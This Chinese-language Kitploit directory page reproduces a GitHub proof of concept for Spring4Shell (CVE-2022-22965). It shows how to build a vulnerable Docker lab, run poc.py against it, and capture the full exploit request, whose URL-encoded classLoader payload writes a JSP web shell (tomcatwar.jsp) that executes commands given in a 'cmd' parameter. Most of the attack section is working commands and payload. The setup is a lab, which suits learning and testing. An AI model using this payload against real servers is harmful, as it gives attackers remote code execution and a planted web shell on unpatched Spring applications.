Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-22965 — Spring4Shell - CVE-2022-22965 | Kitploit
工具/GitHubGitHub/twseptian/cve-2022-22965
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubtwseptian/cve-2022-22965

cve-2022-22965

Spring4Shell - CVE-2022-22965

查看仓库
24年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Spring4Shell - CVE-2022-22965

构建

  • 让我们克隆仓库、构建并运行容器
root@kitploit:~
$ git clone https://github.com/twseptian/cve-2022-22965.git
$ cd cve-2022-22965
$ docker build . -t spring4shell-poc
$ docker run -p 8080:8080 --name spring4shell-poc spring4shell-poc
  • 使用浏览器检查访问 http://172.17.0.2:8080/spring-form/greeting

docker run

PoC

  • 我们在 poc.py 中添加代理。
root@kitploit:~
[SNIP]
proxies = {'http':'http://127.0.0.1:8081','https':'https://127.0.0.1:8081'} #proxy configuration
[SNIP]
...
[SNIP]
        try:
            requests.post(self.url,
                          headers=headers,
                          data=data,
                          timeout=15,
                          allow_redirects=False,
                          verify=False, proxies=proxies)
[SNIP]                          
  • 使用以下命令运行 poc.py。
root@kitploit:~
$ python3 poc.py --url http://172.17.0.2:8080/spring-form/greeting
Vulnerable,shell url: http://172.17.0.2:8080/tomcatwar.jsp?pwd=j&cmd=whoami

python poc

注意:感谢 Spring4Shell PoC Application 为 python 漏洞利用提供的支持。

  • 当漏洞利用生成 shell url 时,我们可以使用 burpsuite 拦截 post 请求
root@kitploit:~
POST /spring-form/greeting HTTP/1.1
Host: 172.17.0.2:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注意:你可以自行分析该请求 #lul

  • 漏洞利用将生成 shell url。我们可以在浏览器中访问该 url,以对目标进行远程代码执行。

shell url

shell url

参考

  • Spring4Shell PoC Application
  • Spring4Shell-POC (CVE-2022-22965)
下载工具